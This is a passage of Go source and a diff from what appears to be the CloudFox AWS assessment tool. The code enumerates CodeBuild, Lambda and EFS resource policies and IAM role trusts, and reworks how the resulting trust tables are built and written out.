|
||||
isInteresting = magenta("Yes")
|
||||
}
|
||||
|
||||
dataReceiver <- Resource2{
|
||||
AccountID: aws.ToString(m.Caller.Account),
|
||||
ARN: aws.ToString(repo.RepositoryArn),
|
||||
ResourcePolicySummary: statementSummaryInEnglish,
|
||||
Public: isPublic,
|
||||
Name: aws.ToString(repo.RepositoryName),
|
||||
Region: r,
|
||||
Interesting: isInteresting,
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (m *ResourceTrustsModule) getCodeBuildResourcePoliciesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
semaphore <- struct{}{}
|
||||
defer func() { <-semaphore }()
|
||||
|
||||
cloudFoxCodeBuildClient := InitCodeBuildClient(m.Caller, m.AWSProfile, m.CloudFoxVersion, m.Goroutines)
|
||||
|
||||
ListProjects, err := sdk.CachedCodeBuildListProjects(cloudFoxCodeBuildClient.CodeBuildClient, aws.ToString(cloudFoxCodeBuildClient.Caller.Account), r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
for _, p := range ListProjects {
|
||||
var projectPolicy policy.Policy
|
||||
var statementSummaryInEnglish string
|
||||
var isPublic string
|
||||
var isInteresting string = "No"
|
||||
project, err := sdk.CachedCodeBuildBatchGetProjects(cloudFoxCodeBuildClient.CodeBuildClient, aws.ToString(cloudFoxCodeBuildClient.Caller.Account), r, p)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
continue
|
||||
}
|
||||
|
||||
policyJSON, err := sdk.CachedCodeBuildGetResourcePolicy(cloudFoxCodeBuildClient.CodeBuildClient, aws.ToString(cloudFoxCodeBuildClient.Caller.Account), r, p)
|
||||
if err != nil {
|
||||
sharedLogger.Error(err.Error())
|
||||
continue
|
||||
}
|
||||
|
||||
projectPolicy, err = policy.ParseJSONPolicy([]byte(policyJSON))
|
||||
|
||||
if !projectPolicy.IsEmpty() {
|
||||
if projectPolicy.IsPublic() {
|
||||
isPublic = magenta("Yes")
|
||||
isInteresting = magenta("Yes")
|
||||
|
||||
} else {
|
||||
isPublic = "No"
|
||||
}
|
||||
for i, statement := range projectPolicy.Statement {
|
||||
prefix := ""
|
||||
if len(projectPolicy.Statement) > 1 {
|
||||
prefix = fmt.Sprintf("Statement %d says: ", i)
|
||||
statementSummaryInEnglish = prefix + statement.GetStatementSummaryInEnglish(*m.Caller.Account) + "\n"
|
||||
} else {
|
||||
statementSummaryInEnglish = statement.GetStatementSummaryInEnglish(*m.Caller.Account)
|
||||
}
|
||||
statementSummaryInEnglish = strings.TrimSuffix(statementSummaryInEnglish, "\n")
|
||||
if isResourcePolicyInteresting(statementSummaryInEnglish) {
|
||||
//magenta(statementSummaryInEnglish)
|
||||
isInteresting = magenta("Yes")
|
||||
}
|
||||
|
||||
dataReceiver <- Resource2{
|
||||
AccountID: aws.ToString(m.Caller.Account),
|
||||
ARN: aws.ToString(project.Arn),
|
||||
ResourcePolicySummary: statementSummaryInEnglish,
|
||||
Public: isPublic,
|
||||
Name: aws.ToString(project.Name),
|
||||
Region: r,
|
||||
Interesting: isInteresting,
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (m *ResourceTrustsModule) getLambdaPolicyPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
semaphore <- struct{}{}
|
||||
defer func() { <-semaphore }()
|
||||
|
||||
cloudFoxLambdaClient := InitLambdaClient(m.Caller, m.AWSProfile, m.CloudFoxVersion, m.Goroutines)
|
||||
|
||||
ListFunctions, err := cloudFoxLambdaClient.listFunctions(r)
|
||||
if err != nil {
|
||||
sharedLogger.Error(err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
for _, f := range ListFunctions {
|
||||
var isPublic string
|
||||
var statementSummaryInEnglish string
|
||||
var isInteresting string = "No"
|
||||
functionPolicy, err := cloudFoxLambdaClient.getResourcePolicy(r, aws.ToString(f.FunctionName))
|
||||
if err != nil {
|
||||
sharedLogger.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
continue
|
||||
}
|
||||
|
||||
if !functionPolicy.IsEmpty() {
|
||||
if functionPolicy.IsPublic() {
|
||||
isPublic = magenta("Yes")
|
||||
isInteresting = magenta("Yes")
|
||||
|
||||
} else {
|
||||
isPublic = "No"
|
||||
}
|
||||
for i, statement := range functionPolicy.Statement {
|
||||
prefix := ""
|
||||
if len(functionPolicy.Statement) > 1 {
|
||||
prefix = fmt.Sprintf("Statement %d says: ", i)
|
||||
statementSummaryInEnglish = prefix + statement.GetStatementSummaryInEnglish(*m.Caller.Account) + "\n"
|
||||
} else {
|
||||
statementSummaryInEnglish = statement.GetStatementSummaryInEnglish(*m.Caller.Account)
|
||||
}
|
||||
statementSummaryInEnglish = strings.TrimSuffix(statementSummaryInEnglish, "\n")
|
||||
if isResourcePolicyInteresting(statementSummaryInEnglish) {
|
||||
//magenta(statementSummaryInEnglish)
|
||||
isInteresting = magenta("Yes")
|
||||
}
|
||||
|
||||
dataReceiver <- Resource2{
|
||||
AccountID: aws.ToString(m.Caller.Account),
|
||||
ARN: aws.ToString(f.FunctionArn),
|
||||
ResourcePolicySummary: statementSummaryInEnglish,
|
||||
Public: isPublic,
|
||||
Name: aws.ToString(f.FunctionName),
|
||||
Region: r,
|
||||
Interesting: isInteresting,
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (m *ResourceTrustsModule) getEFSfilesystemPoliciesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
semaphore <- struct{}{}
|
||||
defer func() { <-semaphore }()
|
||||
|
||||
cloudFoxEFSClient := InitFileSystemsClient(m.Caller, m.AWSProfile, m.CloudFoxVersion, m.Goroutines)
|
||||
|
||||
ListFileSystems, err := sdk.CachedDescribeFileSystems(cloudFoxEFSClient.EFSClient, aws.ToString(m.Caller.Account), r)
|
||||
if err != nil {
|
||||
sharedLogger.Error(err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
for _, fs := range ListFileSystems {
|
||||
var isPublic string
|
||||
var statementSummaryInEnglish string
|
||||
var isInteresting string = "No"
|
||||
fsPolicy, err := sdk.CachedDescribeFileSystemPolicy(cloudFoxEFSClient.EFSClient, aws.ToString(fs.FileSystemId), r, aws.ToString(m.Caller.Account))
|
||||
if err != nil {
|
||||
sharedLogger.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
continue
|
||||
}
|
||||
|
||||
if fsPolicy.IsPublic() {
|
||||
isPublic = magenta("Yes")
|
||||
isInteresting = magenta("Yes")
|
||||
|
||||
} else {
|
||||
isPublic = "No"
|
||||
}
|
||||
|
||||
if !fsPolicy.IsEmpty() {
|
||||
for i, statement := range fsPolicy.Statement {
|
||||
prefix := ""
|
||||
if len(fsPolicy.Statement) > 1 {
|
||||
prefix = fmt.Sprintf("Statement %d says: ", i)
|
||||
statementSummaryInEnglish = prefix + statement.GetStatementSummaryInEnglish(*m.Caller.Account) + "\n"
|
||||
} else {
|
||||
statementSummaryInEnglish = statement.GetStatementSummaryInEnglish(*m.Caller.Account)
|
||||
}
|
||||
statementSummaryInEnglish = strings.TrimSuffix(statementSummaryInEnglish, "\n")
|
||||
if isResourcePolicyInteresting(statementSummaryInEnglish) {
|
||||
//magenta(statementSummaryInEnglish)
|
||||
isInteresting = magenta("Yes")
|
||||
}
|
||||
|
||||
dataReceiver <- Resource2{
|
||||
AccountID: aws.ToString(m.Caller.Account),
|
||||
ARN: aws.ToString(fs.FileSystemArn),
|
||||
ResourcePolicySummary: statementSummaryInEnglish,
|
||||
Public: isPublic,
|
||||
Name: aws.ToString(fs.Name),
|
||||
Region: r,
|
||||
Interesting: isInteresting,
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func isResourcePolicyInteresting(statementSummaryInEnglish string) bool {
|
||||
// check if the statement has any of the following items, but make sure the check is case insensitive
|
||||
// if it does, then return true
|
||||
// if it doesn't, then return false
|
||||
|
||||
if //(strings.Contains(strings.ToLower(statementSummaryInEnglish), "*") && !strings.Contains(strings.ToLower(statementSummaryInEnglish), "denied")) ||
|
||||
(strings.Contains(strings.ToLower(statementSummaryInEnglish), strings.ToLower("Everyone")) && !strings.Contains(strings.ToLower(statementSummaryInEnglish), "denied")) ||
|
||||
strings.Contains(strings.ToLower(statementSummaryInEnglish), strings.ToLower("aws:PrincipalOrgID")) ||
|
||||
strings.Contains(strings.ToLower(statementSummaryInEnglish), strings.ToLower("aws:PrincipalAccount")) ||
|
||||
strings.Contains(strings.ToLower(statementSummaryInEnglish), strings.ToLower("aws:PrincipalOrgPaths")) ||
|
||||
strings.Contains(strings.ToLower(statementSummaryInEnglish), strings.ToLower("role")) ||
|
||||
strings.Contains(strings.ToLower(statementSummaryInEnglish), strings.ToLower("root")) ||
|
||||
(strings.Contains(strings.ToLower(statementSummaryInEnglish), strings.ToLower("aws:arn")) && !strings.Contains(strings.ToLower(statementSummaryInEnglish), strings.ToLower("SourceArn"))) ||
|
||||
(strings.Contains(strings.ToLower(statementSummaryInEnglish), strings.ToLower("aws:arn")) && !strings.Contains(strings.ToLower(statementSummaryInEnglish), strings.ToLower("SourceAccount"))) {
|
||||
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
+211
-113
@@ -1,7 +1,6 @@
|
||||
package aws
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
@@ -12,6 +11,7 @@ import (
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/cloudfox/aws/sdk"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/aws-sdk-go-v2/aws"
|
||||
"github.com/aws/aws-sdk-go-v2/service/iam"
|
||||
@@ -22,8 +22,7 @@ import (
|
||||
|
||||
type RoleTrustsModule struct {
|
||||
// General configuration data
|
||||
IAMClientListRoles iam.ListRolesAPIClient
|
||||
IAMClient *iam.Client
|
||||
IAMClient sdk.AWSIAMClientInterface
|
||||
IAMSimulatePrincipalPolicyClient iam.SimulatePrincipalPolicyAPIClient
|
||||
|
||||
Caller sts.GetCallerIdentityOutput
|
||||
@@ -99,15 +98,14 @@ func (m *RoleTrustsModule) PrintRoleTrusts(outputFormat string, outputDirectory
|
||||
}
|
||||
localAdminMap := make(map[string]bool)
|
||||
fmt.Printf("[%s][%s] Enumerating role trusts for account %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
|
||||
fmt.Printf("[%s][%s] Looking for pmapper data for this account and building a PrivEsc graph in golang if it exists.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
//fmt.Printf("[%s][%s] Looking for pmapper data for this account and building a PrivEsc graph in golang if it exists.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
m.pmapperMod, m.pmapperError = initPmapperGraph(m.Caller, m.AWSProfile, m.Goroutines)
|
||||
m.iamSimClient = initIAMSimClient(m.IAMSimulatePrincipalPolicyClient, m.Caller, m.AWSProfile, m.Goroutines)
|
||||
if m.pmapperError != nil {
|
||||
fmt.Printf("[%s][%s] No pmapper data found for this account. Using cloudfox's iam-simulator for role analysis\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
} else {
|
||||
fmt.Printf("[%s][%s] Found pmapper data for this account. Using it for role analysis\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
|
||||
}
|
||||
m.iamSimClient = initIAMSimClient(m.IAMClient, m.Caller, m.AWSProfile, m.Goroutines)
|
||||
// if m.pmapperError != nil {
|
||||
// fmt.Printf("[%s][%s] No pmapper data found for this account. Using cloudfox's iam-simulator for role analysis\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
// } else {
|
||||
// fmt.Printf("[%s][%s] Found pmapper data for this account. Using it for role analysis\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
// }
|
||||
m.getAllRoleTrusts()
|
||||
|
||||
if m.pmapperError == nil {
|
||||
@@ -120,134 +118,253 @@ func (m *RoleTrustsModule) PrintRoleTrusts(outputFormat string, outputDirectory
|
||||
|
||||
}
|
||||
}
|
||||
o := internal.OutputClient{
|
||||
Verbosity: verbosity,
|
||||
CallingModule: m.output.CallingModule,
|
||||
Table: internal.TableClient{
|
||||
Wrap: m.WrapTable,
|
||||
},
|
||||
}
|
||||
|
||||
o.PrefixIdentifier = m.AWSProfile
|
||||
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
|
||||
|
||||
principalsHeader, principalsBody := m.printPrincipalTrusts(outputFormat, outputDirectory)
|
||||
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
|
||||
Header: principalsHeader,
|
||||
Body: principalsBody,
|
||||
Name: "role-trusts-principals",
|
||||
})
|
||||
|
||||
servicesHeader, servicesBody := m.printServiceTrusts(outputFormat, outputDirectory)
|
||||
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
|
||||
Header: servicesHeader,
|
||||
Body: servicesBody,
|
||||
Name: "role-trusts-services",
|
||||
})
|
||||
|
||||
federatedHeader, federatedBody := m.printFederatedTrusts(outputFormat, outputDirectory)
|
||||
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
|
||||
Header: federatedHeader,
|
||||
Body: federatedBody,
|
||||
Name: "role-trusts-federated",
|
||||
})
|
||||
|
||||
o.WriteFullOutput(o.Table.TableFiles, nil)
|
||||
if len(principalsBody) > 0 {
|
||||
fmt.Printf("[%s][%s] %s principal role trusts found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(principalsBody)))
|
||||
} else {
|
||||
fmt.Printf("[%s][%s] No role trusts found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
}
|
||||
if len(servicesBody) > 0 {
|
||||
fmt.Printf("[%s][%s] %s principal role trusts found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(servicesBody)))
|
||||
} else {
|
||||
fmt.Printf("[%s][%s] No role trusts found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
}
|
||||
if len(federatedBody) > 0 {
|
||||
fmt.Printf("[%s][%s] %s principal role trusts found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(federatedBody)))
|
||||
} else {
|
||||
fmt.Printf("[%s][%s] No role trusts found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
}
|
||||
|
||||
m.printPrincipalTrusts(outputFormat, outputDirectory)
|
||||
m.printServiceTrusts(outputFormat, outputDirectory)
|
||||
m.printFederatedTrusts(outputFormat, outputDirectory)
|
||||
}
|
||||
|
||||
func (m *RoleTrustsModule) printPrincipalTrusts(outputFormat string, outputDirectory string) {
|
||||
func (m *RoleTrustsModule) printPrincipalTrusts(outputFormat string, outputDirectory string) ([]string, [][]string) {
|
||||
var header []string
|
||||
var body [][]string
|
||||
m.output.FullFilename = ""
|
||||
m.output.Body = nil
|
||||
m.output.CallingModule = "role-trusts"
|
||||
m.output.FullFilename = "role-trusts-principals"
|
||||
m.output.Headers = []string{
|
||||
"Role",
|
||||
"Trusted Principal",
|
||||
"ExternalID",
|
||||
"IsAdmin?",
|
||||
"CanPrivEscToAdmin?",
|
||||
var column1 string
|
||||
if m.pmapperError == nil {
|
||||
header = []string{
|
||||
"Role",
|
||||
"Trusted Principal",
|
||||
"ExternalID",
|
||||
"IsAdmin?",
|
||||
"CanPrivEscToAdmin?",
|
||||
}
|
||||
} else {
|
||||
header = []string{
|
||||
"Role",
|
||||
"Trusted Principal",
|
||||
"ExternalID",
|
||||
"IsAdmin?",
|
||||
//"CanPrivEscToAdmin?",
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
for _, role := range m.AnalyzedRoles {
|
||||
for _, statement := range role.trustsDoc.Statement {
|
||||
for _, principal := range statement.Principal.AWS {
|
||||
column1 := aws.ToString(role.roleARN)
|
||||
if outputFormat == "wide" {
|
||||
column1 = aws.ToString(role.roleARN)
|
||||
} else {
|
||||
column1 = GetResourceNameFromArn(aws.ToString(role.roleARN))
|
||||
}
|
||||
column2 := principal
|
||||
column3 := statement.Condition.StringEquals.StsExternalID
|
||||
column4 := role.Admin
|
||||
column5 := role.CanPrivEsc
|
||||
m.output.Body = append(m.output.Body, []string{column1, column2, column3, column4, column5})
|
||||
if m.pmapperError == nil {
|
||||
body = append(body, []string{column1, column2, column3, column4, column5})
|
||||
} else {
|
||||
body = append(body, []string{column1, column2, column3, column4})
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
m.sortTrustsTablePerTrustedPrincipal()
|
||||
if len(m.output.Body) > 0 {
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
|
||||
////m.output.OutputSelector(outputFormat)
|
||||
//utils.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.FullFilename, m.output.CallingModule)
|
||||
internal.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.FullFilename, m.output.CallingModule, m.WrapTable, m.AWSProfile)
|
||||
fmt.Printf("[%s][%s] %s role trusts found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
|
||||
return header, body
|
||||
// if len(m.output.Body) > 0 {
|
||||
// m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", aws.ToString(m.Caller.Account),m.AWSProfile))
|
||||
// ////m.output.OutputSelector(outputFormat)
|
||||
// //utils.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.FullFilename, m.output.CallingModule)
|
||||
// //internal.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.FullFilename, m.output.CallingModule, m.WrapTable, m.AWSProfile)
|
||||
// fmt.Printf("[%s][%s] %s role trusts found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
|
||||
|
||||
} else {
|
||||
fmt.Printf("[%s][%s] No role trusts found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
}
|
||||
fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
|
||||
// } else {
|
||||
// fmt.Printf("[%s][%s] No role trusts found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
// }
|
||||
// fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
|
||||
}
|
||||
|
||||
func (m *RoleTrustsModule) printServiceTrusts(outputFormat string, outputDirectory string) {
|
||||
func (m *RoleTrustsModule) printServiceTrusts(outputFormat string, outputDirectory string) ([]string, [][]string) {
|
||||
var header []string
|
||||
var body [][]string
|
||||
m.output.FullFilename = ""
|
||||
m.output.Body = nil
|
||||
m.output.CallingModule = "role-trusts"
|
||||
m.output.FullFilename = "role-trusts-services"
|
||||
m.output.Headers = []string{
|
||||
"Role",
|
||||
"Trusted Service",
|
||||
"ExternalID",
|
||||
"IsAdmin?",
|
||||
"CanPrivEscToAdmin?",
|
||||
var column1 string
|
||||
if m.pmapperError == nil {
|
||||
header = []string{
|
||||
"Role",
|
||||
"Trusted Service",
|
||||
"ExternalID",
|
||||
"IsAdmin?",
|
||||
"CanPrivEscToAdmin?",
|
||||
}
|
||||
} else {
|
||||
header = []string{
|
||||
"Role",
|
||||
"Trusted Service",
|
||||
"ExternalID",
|
||||
"IsAdmin?",
|
||||
//"CanPrivEscToAdmin?",
|
||||
}
|
||||
}
|
||||
|
||||
for _, role := range m.AnalyzedRoles {
|
||||
for _, statement := range role.trustsDoc.Statement {
|
||||
for _, service := range statement.Principal.Service {
|
||||
column1 := aws.ToString(role.roleARN)
|
||||
if outputFormat == "wide" {
|
||||
column1 = aws.ToString(role.roleARN)
|
||||
} else {
|
||||
column1 = GetResourceNameFromArn(aws.ToString(role.roleARN))
|
||||
}
|
||||
column2 := service
|
||||
column3 := statement.Condition.StringEquals.StsExternalID
|
||||
column4 := role.Admin
|
||||
column5 := role.CanPrivEsc
|
||||
m.output.Body = append(m.output.Body, []string{column1, column2, column3, column4, column5})
|
||||
if m.pmapperError == nil {
|
||||
body = append(body, []string{column1, column2, column3, column4, column5})
|
||||
} else {
|
||||
body = append(body, []string{column1, column2, column3, column4})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
m.sortTrustsTablePerTrustedPrincipal()
|
||||
if len(m.output.Body) > 0 {
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
|
||||
//m.output.OutputSelector(outputFormat)
|
||||
//utils.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.FullFilename, m.output.CallingModule)
|
||||
internal.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.FullFilename, m.output.CallingModule, m.WrapTable, m.AWSProfile)
|
||||
fmt.Printf("[%s][%s] %s role trusts found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
|
||||
// sort the rows based on column 2 (service)
|
||||
sort.SliceStable(body, func(i, j int) bool {
|
||||
return body[i][1] < body[j][1]
|
||||
})
|
||||
|
||||
} else {
|
||||
fmt.Printf("[%s][%s] No role trusts found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
}
|
||||
//m.sortTrustsTablePerTrustedPrincipal()
|
||||
return header, body
|
||||
|
||||
// if len(m.output.Body) > 0 {
|
||||
// m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", aws.ToString(m.Caller.Account),m.AWSProfile))
|
||||
// //m.output.OutputSelector(outputFormat)
|
||||
// //utils.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.FullFilename, m.output.CallingModule)
|
||||
// internal.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.FullFilename, m.output.CallingModule, m.WrapTable, m.AWSProfile)
|
||||
// fmt.Printf("[%s][%s] %s role trusts found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
|
||||
|
||||
// } else {
|
||||
// fmt.Printf("[%s][%s] No role trusts found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
// }
|
||||
}
|
||||
|
||||
func (m *RoleTrustsModule) printFederatedTrusts(outputFormat string, outputDirectory string) {
|
||||
func (m *RoleTrustsModule) printFederatedTrusts(outputFormat string, outputDirectory string) ([]string, [][]string) {
|
||||
var header []string
|
||||
var body [][]string
|
||||
m.output.FullFilename = ""
|
||||
m.output.Body = nil
|
||||
m.output.CallingModule = "role-trusts"
|
||||
m.output.FullFilename = "role-trusts-federated"
|
||||
var column3, column2 string
|
||||
m.output.Headers = []string{
|
||||
"Role",
|
||||
"Trusted Provider",
|
||||
"Trusted Subject",
|
||||
"IsAdmin?",
|
||||
"CanPrivEscToAdmin?",
|
||||
var column1, column3, column2 string
|
||||
if m.pmapperError == nil {
|
||||
|
||||
header = []string{
|
||||
"Role",
|
||||
"Trusted Provider",
|
||||
"Trusted Subject",
|
||||
"IsAdmin?",
|
||||
"CanPrivEscToAdmin?",
|
||||
}
|
||||
} else {
|
||||
header = []string{
|
||||
"Role",
|
||||
"Trusted Provider",
|
||||
"Trusted Subject",
|
||||
"IsAdmin?",
|
||||
//"CanPrivEscToAdmin?",
|
||||
}
|
||||
}
|
||||
|
||||
for _, role := range m.AnalyzedRoles {
|
||||
column1 := aws.ToString(role.roleARN)
|
||||
|
||||
if outputFormat == "wide" {
|
||||
column1 = aws.ToString(role.roleARN)
|
||||
} else {
|
||||
column1 = GetResourceNameFromArn(aws.ToString(role.roleARN))
|
||||
}
|
||||
for _, statement := range role.trustsDoc.Statement {
|
||||
if len(statement.Principal.Federated) > 0 {
|
||||
column2, column3 = parseFederatedTrustPolicy(statement)
|
||||
column4 := role.Admin
|
||||
column5 := role.CanPrivEsc
|
||||
m.output.Body = append(m.output.Body, []string{column1, column2, column3, column4, column5})
|
||||
if m.pmapperError == nil {
|
||||
body = append(body, []string{column1, column2, column3, column4, column5})
|
||||
} else {
|
||||
body = append(body, []string{column1, column2, column3, column4})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
m.sortTrustsTablePerTrustedPrincipal()
|
||||
if len(m.output.Body) > 0 {
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
|
||||
//m.output.OutputSelector(outputFormat)
|
||||
//utils.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.FullFilename, m.output.CallingModule)
|
||||
internal.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.FullFilename, m.output.CallingModule, m.WrapTable, m.AWSProfile)
|
||||
fmt.Printf("[%s][%s] %s role trusts found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
|
||||
return header, body
|
||||
|
||||
} else {
|
||||
fmt.Printf("[%s][%s] No role trusts found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
}
|
||||
// if len(m.output.Body) > 0 {
|
||||
// m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", aws.ToString(m.Caller.Account),m.AWSProfile))
|
||||
// //m.output.OutputSelector(outputFormat)
|
||||
// //utils.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.FullFilename, m.output.CallingModule)
|
||||
// internal.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.FullFilename, m.output.CallingModule, m.WrapTable, m.AWSProfile)
|
||||
// fmt.Printf("[%s][%s] %s role trusts found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
|
||||
|
||||
// } else {
|
||||
// fmt.Printf("[%s][%s] No role trusts found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
// }
|
||||
}
|
||||
|
||||
func parseFederatedTrustPolicy(statement RoleTrustStatementEntry) (string, string) {
|
||||
var column2, column3 string
|
||||
if statement.Condition.StringLike.TokenActionsGithubusercontentComAud != "" || len(statement.Condition.StringLike.TokenActionsGithubusercontentComSub) > 0 {
|
||||
column2 = "GitHub Actions (" + statement.Principal.Federated[0] + ")"
|
||||
column2 = "GitHub Actions" // (" + statement.Principal.Federated[0] + ")"
|
||||
trustedRepos := strings.Join(statement.Condition.StringLike.TokenActionsGithubusercontentComSub, "\n")
|
||||
if trustedRepos == "" {
|
||||
column3 = "ALL REPOS!!!"
|
||||
@@ -256,13 +373,13 @@ func parseFederatedTrustPolicy(statement RoleTrustStatementEntry) (string, strin
|
||||
}
|
||||
} else if statement.Condition.StringEquals.SAMLAud == "https://signin.aws.amazon.com/saml" {
|
||||
if strings.Contains(statement.Principal.Federated[0], "AWSSSO") {
|
||||
column2 = "AWS SSO (" + statement.Principal.Federated[0] + ")"
|
||||
column2 = "AWS SSO" // (" + statement.Principal.Federated[0] + ")"
|
||||
} else if strings.Contains(statement.Principal.Federated[0], "Okta") {
|
||||
column2 = "Okta (" + statement.Principal.Federated[0] + ")"
|
||||
column2 = "Okta" // (" + statement.Principal.Federated[0] + ")"
|
||||
}
|
||||
column3 = "Not applicable"
|
||||
} else if statement.Condition.StringEquals.OidcEksAud != "" || statement.Condition.StringEquals.OidcEksSub != "" || statement.Condition.StringLike.OidcEksAud != "" || statement.Condition.StringLike.OidcEksSub != "" {
|
||||
column2 = "EKS (" + statement.Principal.Federated[0] + ")"
|
||||
column2 = "EKS" // (" + statement.Principal.Federated[0] + ")"
|
||||
if statement.Condition.StringEquals.OidcEksSub != "" {
|
||||
column3 = statement.Condition.StringEquals.OidcEksSub
|
||||
} else if statement.Condition.StringLike.OidcEksSub != "" {
|
||||
@@ -271,16 +388,16 @@ func parseFederatedTrustPolicy(statement RoleTrustStatementEntry) (string, strin
|
||||
column3 = "ALL SERVICE ACCOUNTS!"
|
||||
}
|
||||
} else if statement.Principal.Federated[0] == "cognito-identity.amazonaws.com" {
|
||||
column2 = "Cognito (" + statement.Principal.Federated[0] + ")"
|
||||
